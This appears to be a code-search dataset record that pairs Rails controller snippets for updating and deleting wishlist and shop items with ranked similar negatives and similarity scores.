"def update\n @item ||= Item.find_by_id_or_name(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def update\n @liked_item = LikedItem.find(params[:id])\n\n respond_to do |format|\n if @liked_item.update_attributes(params[:liked_item])\n format.html { redirect_to @liked_item, notice: 'Liked item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @liked_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def remove_wishlist_item\n if item = Item.find_by_id(params[:id])\n @customer.remove_item_from_wishlist(item)\n end\n render :text => ''\n end",
"def create\n @wishlist = Wishlist.find(session[:wishlist_id])\n params[:item].delete :container\n item = Item.find_by(url: params[:item][:url])\n if !item\n item = Item.new(item_params)\n item.container_type = 'Store'\n item.container_id = @wishlist.store.id\n end\n @item = item\n\n item2 = Item.new(item_params)\n item2.container_type = 'Wishlist'\n item2.container_id = @wishlist.id\n @item2 = item2\n\n respond_to do |format|\n if @item.save && @item2.save\n @wishlist.items << @item2\n @wishlist.save\n format.html { redirect_to edit_wishlist_url(@wishlist), notice: 'Item was successfully added to wishlist.' }\n #format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @basket_item.update(basket_item_params)\n format.html { redirect_to basket_items_path, notice: 'Basket item was successfully updated.' }\n format.json { render :show, status: :ok, location: @basket_item }\n else\n format.html { redirect_to basket_items_path }\n format.json { render json: @basket_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wanted_item.update(wanted_item_params)\n format.html { redirect_to @wanted_item, notice: 'Wanted item was successfully updated.' }\n format.json { render :show, status: :ok, location: @wanted_item }\n else\n format.html { render :edit }\n format.json { render json: @wanted_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \twatchlist_item = WatchlistItem.new(watchlist_item_params)\n\n id = SecureRandom.uuid.to_s\n\n watchlist_item_info = {:id => id, type => \"update\",\n :watchlist_item_id => watchlist_item.watchlist_item_id,\n :item_name => watchlist_item.item_name,\n :item_description => watchlist_item.item_description,\n :item_price => watchlist_item.item_price\n\n }\n\n publish :watchlist_item, JSON.generate(watchlist_item_info)\n\n status, @error = get_success(id)\n\n if status == \"true\"\n @status = \"New watchlist item updated!\"\n else\n @status = \"Watchlist item could not be updated\"\n end \n\n render 'confirm' \n # respond_to do |format|\n # if @watchlist.update(watchlist_params)\n # format.html { redirect_to @watchlist, notice: 'Watchlist was successfully updated.' }\n # format.json { render :show, status: :ok, location: @watchlist }\n # else\n # format.html { render :edit }\n # format.json { render json: @watchlist.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n respond_to do |format|\n if @basket_item.update(basket_item_params)\n format.html { redirect_to @basket_item, notice: 'Basket item was successfully updated.' }\n format.json { render :show, status: :ok, location: @basket_item }\n else\n format.html { render :edit }\n format.json { render json: @basket_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @item = Item.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @item.update_attributes(params[:item])\r\n format.html { redirect_to(@item, :notice => 'Item Successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n \tif params[:shopping_list][:other_items_attributes]\n\t \tparams[:shopping_list][:other_items_attributes].each do |k,v|\n\t \t\tif v[:shopping_item_id] == \"\" and params[:shopping_item_input][k] != \"\"\n\t \t\t\tshopping_item = ShoppingItem.create!(:name => params[:shopping_item_input][k])\n\t \t\t\tv[:shopping_item_id] = shopping_item.id\n\t \t\tend\n\t \tend\n \tend\n \t\n @shopping_list = ShoppingList.find(params[:id])\n\n respond_to do |format|\n if @shopping_list.update_attributes(params[:shopping_list])\n format.html { redirect_to @shopping_list, notice: 'Shopping list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shopping_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @wishlist_item = WishlistItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to(@wish_list_item, :notice => 'Wish list item was successfully created.') }\n format.xml { render :xml => @wish_list_item, :status => :created, :location => @wish_list_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @wish_list_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_item(item_id)\n request_body = {\n 'name' => 'Malted Milkshake'\n }\n\n response = Unirest.put CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully updated item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item update failed'\n puts response.body\n return nil\n end\nend",
"def update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = \"Item has been updated\"\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { render :action => :edit }\n else\n format.json { render :text => \"Could not update item\", :status => :unprocessable_entity } #placeholder\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n format.html { render :action => :edit, :status => :unprocessable_entity }\n end\n end\n end",
"def wishlist_params\n params.require(:wishlist_item).permit(:title)\n end",
"def update\n @item.update!(item_params)\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { respond_with_bip(@item) }\n else\n format.html { render action: 'edit' }\n format.json { respond_with_bip(@item) }\n end\n end\n end",
"def update\n @item = @client.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @wishlist_item = WishlistItem.find(params[:id])\n @wishlist_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(store_path, :notice => 'Item has been removed from your wishlist.') }\n format.xml { head :ok }\n end\n end",
"def update_likes\n @wish.update(like_params)\n end",
"def wish_list_params\n params.require(:wish_list).permit(:title, :item_count, :delivery_date, wish_items_attributes: [:id, :name, :color, :height, :weight, :link, :description, :price, :wish_list_id])\n end",
"def wishlist_params\n params.require(:wishlist).permit(:product_id, :user_id)\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[@item.class.to_s.downcase.to_sym])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(list, item, qty)\n add_item(list, item, qty)\nend",
"def set_wish_list\n @wish_list = current_user.wish_lists.find(params[:id])\n end",
"def update\n item = @list.list_items.find(params[:id])\n\n if item.update_attributes(params[:list_item])\n render json: item\n else\n error(t('messages.list_item.errors.update'))\n end\n end",
"def update\n respond_to do |format|\n if @how_to.update(how_to_params)\n format.html { redirect_to item_path }\n format.json { render :show, status: :ok, location: @items }\n else\n format.html { render :edit }\n format.json { render json: @how_to.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shops_favorite = ShopsFavorite.find(params[:id])\n\n respond_to do |format|\n if @shops_favorite.update_attributes(params[:shops_favorite])\n format.html { redirect_to(@shops_favorite, :notice => 'Shops favorite was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shops_favorite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def wishlist_params\n params.require(:wishlist).permit(:itemname, :comment, :itemcost, :quantity, :amount, :status, :storename, :category)\n end",
"def update\n @shop_item = ShopItem.find(params[:id])\n\n respond_to do |format|\n if @shop_item.update_attributes(params[:shop_item])\n format.html { redirect_to(@shop_item, :notice => 'Shop item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shop_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @wish_list_item = WishListItem.new(params[:wish_list_item])\n\n respond_to do |format|\n if @wish_list_item.save\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully created.' }\n format.json { render json: @wish_list_item, status: :created, location: @wish_list_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Rails.logger.debug params.inspect\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n respond_with(@items)\n end\n end\n end",
"def update\n \n @list_item = ListItem.find(params[:id])\n\n if @list_item.update(list_item_params)\n head :no_content\n else\n render json: @list_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n @favourites = Favourite.find(params[:id])\n\n respond_to do |format|\n if @favourites.update_attributes(params[:favourites])\n flash[:notice] = 'Favourites was successfully updated.'\n format.html { redirect_to(@favourites) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @favourites.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @goods_item = Goods::Item.find(params[:id])\n\n respond_to do |format|\n if @goods_item.update_attributes(params[:goods_item])\n format.html { redirect_to(@goods_item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @goods_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to lists_path, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def wishlist_item_params\n params.require(:wishlist_item).permit(:quantity, :priority, :staff_message)\n end",
"def update\n respond_to do |format|\n if @apiv1_item.update(apiv1_item_params)\n format.html { redirect_to @apiv1_item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @apiv1_item }\n else\n format.html { render :edit }\n format.json { render json: @apiv1_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fb_item = FbItem.find(params[:id])\n\n respond_to do |format|\n if @fb_item.update_attributes(params[:fb_item])\n format.html { redirect_to @fb_item, notice: 'Fb item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fb_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n if @item.container_type == 'Wishlist'\n @wishlist = Wishlist.find(@item.container_id)\n @wishlist.items.delete_if{|o| o.id == @item.id}\n @wishlist.save\n elsif @item.container_type == 'Store'\n @store = Store.find(@item.container_id)\n @store.items.delete_if{|o| o.id == @item.id}\n @store.save\n end\n\n @item.destroy\n respond_to do |format|\n @wishlist = Wishlist.find(session[:wishlist_id])\n format.html { redirect_to edit_wishlist_url(@wishlist) }\n format.json { head :no_content }\n end\n end"
] | [
"0.7283253",
"0.7260425",
"0.7176752",
"0.7163197",
"0.70719266",
"0.706832",
"0.70471656",
"0.70294124",
"0.69872826",
"0.6974909",
"0.6967413",
"0.6899808",
"0.68313503",
"0.6638728",
"0.6629651",
"0.6618489",
"0.6618489",
"0.6618489",
"0.6618489",
"0.6618489",
"0.66137534",
"0.65970093",
"0.6567678",
"0.6507659",
"0.64869905",
"0.6439098",
"0.64316076",
"0.6430209",
"0.6415932",
"0.64104897",
"0.6404549",
"0.6403384",
"0.6403384",
"0.63880706",
"0.63589436",
"0.6342702",
"0.63224",
"0.63124716",
"0.6279516",
"0.6276908",
"0.62604696",
"0.6254151",
"0.6243383",
"0.62252617",
"0.6222601",
"0.6195828",
"0.6195828",
"0.6195828",
"0.6192898",
"0.6192898",
"0.6192898",
"0.61784977",
"0.61706364",
"0.61619276",
"0.61497974",
"0.61392546",
"0.61392546",
"0.6133522",
"0.6131557",
"0.6123051",
"0.6121502",
"0.6120906",
"0.61190957",
"0.61175424",
"0.61086684",
"0.61065733",
"0.6091625",
"0.6083219",
"0.608068",
"0.60704094",
"0.60636735",
"0.6053752",
"0.605341",
"0.6037751",
"0.60194737",
"0.6018254",
"0.60138446",
"0.6007172",
"0.600623",
"0.60019",
"0.6001515",
"0.59997505",
"0.5986337",
"0.5985534",
"0.59851605",
"0.5975048",
"0.5969973",
"0.5958336",
"0.59556466",
"0.5954665",
"0.59546036",
"0.59465533",
"0.59388864",
"0.59361756",
"0.5935101",
"0.59298575",
"0.59221816",
"0.5908106",
"0.59043396",
"0.5904181"
] | 0.7591988 | 0 |
DELETE /wishlist_items/1 DELETE /wishlist_items/1.xml | def destroy
@wishlist_item = WishlistItem.find(params[:id])
@wishlist_item.destroy
respond_to do |format|
format.html { redirect_to(store_path, :notice => 'Item has been removed from your wishlist.') }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @wish_list_item = WishListItem.find(params[:id])\n @wish_list_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(wish_list_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wishlistitem = Wishlistitem.find(params[:id])\n @wishlistitem.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlistitems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @item.container_type == 'Wishlist'\n @wishlist = Wishlist.find(@item.container_id)\n @wishlist.items.delete_if{|o| o.id == @item.id}\n @wishlist.save\n elsif @item.container_type == 'Store'\n @store = Store.find(@item.container_id)\n @store.items.delete_if{|o| o.id == @item.id}\n @store.save\n end\n\n @item.destroy\n respond_to do |format|\n @wishlist = Wishlist.find(session[:wishlist_id])\n format.html { redirect_to edit_wishlist_url(@wishlist) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wish_list_item = WishListItem.find(params[:id])\n @wish_list_item.destroy\n\n respond_to do |format|\n format.html { redirect_to wish_list_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wish_list = WishList.find(params[:id])\n @wish_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_wish_lists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wish_list_item.destroy\n respond_to do |format|\n format.html { redirect_to wish_list_url(@wish_list_item.wish_list), notice: 'Wish list item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wish.destroy\n redirect_to wishlist_path(@wish.wishlist_id)\n end",
"def destroy\n @wishlist = Wishlist.find(params[:id])\n @wishlist.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wishlist = Wishlist.find(params[:id])\n @wishlist.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wishlist = Wishlist.find(params[:id])\n @wishlist.destroy\n redirect_to welcome_homepage_url\n end",
"def remove_wishlist_item\n if item = Item.find_by_id(params[:id])\n @customer.remove_item_from_wishlist(item)\n end\n render :text => ''\n end",
"def destroy\n @wishlist.destroy\n respond_to do |format|\n format.html { redirect_to wishlists_url, notice: 'Záznam vo wishliste bol úspešne zmazaný.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = current_user\n item_id = Sneaker.find(params[:id])\n Wishlist.where(sneaker_id: params[:id]).destroy_all\n item_id.destroy\n redirect_to user_path(user)\n end",
"def destroy\n @wishlist.destroy\n respond_to do |format|\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wishlist.destroy\n respond_to do |format|\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wish_list.destroy\n respond_to do |format|\n format.html { redirect_to controller: \"account\", action: \"wishlist\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @billitem = Billitem.find(params[:id])\n @billitem.destroy\n\n respond_to do |format|\n format.html { redirect_to(billitems_url) }\n format.xml { head :ok }\n end\n end",
"def remove_item(id)\n return nil if self.class.mode == :sandbox\n\n query = { \"type\" => \"delete\", \"id\" => id.to_s, \"version\" => Time.now.to_i }\n doc_request query\n end",
"def destroy\n @item = item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(budget_items_url) }\n format.xml { head :ok }\n end\n end",
"def delete_item\n\nend",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wish.destroy\n redirect_to root_url\n end",
"def destroy\r\n @item = Item.find(params[:id])\r\n\r\n @item.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(items_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @auction_item = AuctionItem.find(params[:id])\n @auction_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(auction_items_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n blacklight_items.each do |r|\n solr.delete_by_id r[\"id\"]\n solr.commit\n end\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def destroy\n @instancia_item = InstanciaItem.find(params[:id])\n @instancia_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(instancia_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n LocationsWish.where('wish_id = ?', @wish.id).all.each do |wish|\n wish.destroy\n end\n WishLog.where('wish_by_id= ?', @wish.id).all.each do |wish|\n wish.destroy\n end\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actionitem = Actionitem.find(params[:id])\n @actionitem.destroy\n\n respond_to do |format|\n format.html { redirect_to(actionitems_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @goods_item = Goods::Item.find(params[:id])\n @goods_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(goods_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @action_item = ActionItem.find(params[:id])\n @action_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(action_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @receiving_item = ReceivingItem.find(params[:id])\n @receiving_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(receiving_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @swap_item = SwapItem.find(params[:id])\n @swap_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(swap_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(manage_items_url, :notice => 'Item was successfully deleted.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(admin_items_url) }\n wants.xml { head :ok }\n end\n end",
"def delete_item(item_id)\n response = Unirest.delete CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS\n\n if response.code == 200\n puts 'Successfully deleted item'\n return response.body\n else\n puts 'Item deletion failed'\n puts response.body\n return nil\n end\nend",
"def delete_item(item)\n @get_items.delete(item)\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_items_url, :notice => 'Item was deleted.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @question_item = QuestionItem.find(params[:id])\n @question_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(current_user) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @items_mob = ItemsMob.find(params[:id])\n @items_mob.destroy\n\n respond_to do |format|\n format.html { redirect_to items_mobs_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wish_list = WishList.find(params[:wish_list_id])\n @item = @wish_list.items.find(params[:item_id])\n\n if @item.purchased_by == current_user\n @item.purchased_by = nil\n @item.save\n else\n flash[:alert] = \"You do not have permission to unpurchase this Item.\"\n end\n head 200\n end",
"def destroy\n @miscellaneous_item = MiscellaneousItem.find(params[:id])\n @miscellaneous_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(miscellaneous_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wishlist.destroy\n\n redirect_back(fallback_location: root_path , alert: 'Product was successfully removed from wishlist.')\n end",
"def update\n @wishlist = Wishlist.where(:user_id => current_user.id)\n @wishlist_item = Wishitem.find_by(:wishlist_id => @wishlist, :product_id => params[:id])\n @wishlist_item.destroy\n if params.has_key?(:page)\n redirect_to \"/products?page=#{params[:page]}\"\n else\n redirect_to mywishlist_path\n end\n end",
"def destroy\n @checklist_item = ChecklistItem.find(params[:id])\n @checklist_item.destroy\n\n respond_to do |format|\n format.html { redirect_to checklist_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @basket_item = BasketItem.find(params[:id])\n @basket_item.destroy\n\n respond_to do |format|\n format.html { redirect_to basket_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @liked_item = LikedItem.find(params[:id])\n @liked_item.destroy\n\n respond_to do |format|\n format.html { redirect_to liked_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @feedback_item = FeedbackItem.find(params[:id])\n @feedback_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(feedback_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def delete_item(item)\n @chores.delete(item)\n end",
"def destroy\n @budget_item = BudgetItem.find(params[:id])\n @budget_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(budget_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @lineitem = Lineitem.find(params[:id])\r\n @lineitem.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(lineitems_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to wishes_url, notice: 'Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item ||= Item.find_by_id_or_name(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @mylist = Mylist.find(params[:id])\n @mylist.destroy\n\n respond_to do |format|\n format.html { redirect_to(mylists_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @list_item.destroy\n\n head :no_content\n end",
"def destroy\n if @wish.user_id == current_user.id\n @wish = Wish.find(params[:id])\n @wish.destroy\n render json: {}, status: :no_content\n end\n end",
"def delete\n \t@item = Item.find(params[:id])\n \[email protected]\n \tredirect_to :action => 'index'\n\tend",
"def destroy\n @favourites = Favourite.find(params[:id])\n @favourites.destroy\n\n respond_to do |format|\n format.html { redirect_to(favourites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end",
"def destroy\n @shop_item = @flat.shop_items.find(params[:id])\n @shop_item.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @address_book_item = AddressBookItem.find(params[:id])\n @address_book_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(address_book_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @content_item = ContentItem.find(params[:id])\n @content_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(content_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item.destroy\n head :no_content\n end",
"def destroy\n @item = Item.find(params[:id])\n @shop_for_item = @item.shop\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(@shop_for_item) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fb_item = FbItem.find(params[:id])\n @fb_item.destroy\n\n respond_to do |format|\n format.html { redirect_to fb_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @listitem.destroy\n head :no_content\nend",
"def destroy\n @bowl = Bowl.find(params[:id])\n @bowl.destroy\n\n respond_to do |format|\n format.html { redirect_to(bowls_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_item = EntryItem.find(params[:id])\n @entry_item.destroy\n\n respond_to do |format|\n #format.html { redirect_to(entry_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ordered_item = OrderedItem.find(params[:id])\n @ordered_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(ordered_items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @favourite = Favourite.find(params[:id])\n @favourite.destroy\n\n respond_to do |format|\n format.html { redirect_to(favourites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @item = Item.find(params[:id])\r\n @item.destroy\r\n redirect_to items_url\r\n end",
"def destroy\n @w = Wishlist.find_by_vendor_id(params[:id])\n if @w.destroy\n\t redirect_to wishlist_list_path\n end\n \n end",
"def delete_item(list_id:, id:)\n path = \"lists/#{list_id}/items/#{id}\"\n request(method: :delete, path: path)\n end",
"def delete(items)\n item_ids = items.collect { |item| item.id }\n args = {ids: item_ids.to_json}\n return @client.api_helper.command(args, \"item_delete\")\n end",
"def destroy\n @shops_favorite = ShopsFavorite.find(params[:id])\n @shops_favorite.destroy\n\n respond_to do |format|\n format.html { redirect_to(shops_favorites_url) }\n format.xml { head :ok }\n end\n end",
"def delete_item(db, item_name, current_user)\r\n db.execute(\"DELETE FROM items WHERE item_name = ? AND user_id = ?\", [item_name, current_user])\r\nend",
"def destroy\n @item = @user.items.find(params[:id])\n @item.destroy\n\n\n respond_to do |format|\n format.html { redirect_to user_items_path(@user) }\n format.json { head :no_content }\n end\n end",
"def delete\n @@all_items.delete(@id)\n end",
"def remove\n product = Product.find(params[:id])\n wishlist = Wishlist.get_current(current_user, session)\n wishlist.products.delete(product)\n render :update do |page| \n page.remove(\"dg_#{product.id}\")\n end\n end",
"def destroy\n\t\[email protected]\n\t\thead :no_content\n\tend",
"def destroy\n @league_item = LeagueItem.find(params[:id])\n @league_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(league_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @checklist = Checklist.find(params[:id])\n @checklist.destroy\n\n respond_to do |format|\n format.html { redirect_to(checklists_url) }\n format.xml { head :ok }\n end\n end",
"def brief_vendor_del_item\n brief = Brief.find(params[:brief_id])\n brief_vendor = brief.brief_vendors.find_by_org_id(params[:vendor_id])\n item = brief_vendor.items.find_by_parent_id(params[:item_id])\n\n item.destroy\n\n redirect_to(cheil_brief_vendor_items_url(params[:brief_id],params[:vendor_id])) \n end",
"def destroy\n @movie_list_item = MovieListItem.find(params[:id])\n @movie_list_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(movie_list_items_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n @item = Item.find_by_id(id)\n \n begin\n item.destroy!\n say 'Item Deleted'\n rescue StandardError => e\n say e.message\n end\n end",
"def remove_item\n\n end",
"def delete_item(item)\r\n @list.delete(item)\r\n end",
"def destroy\n response = current_user.unfollow_item(params[:id])\n redirect_to items_path\n end",
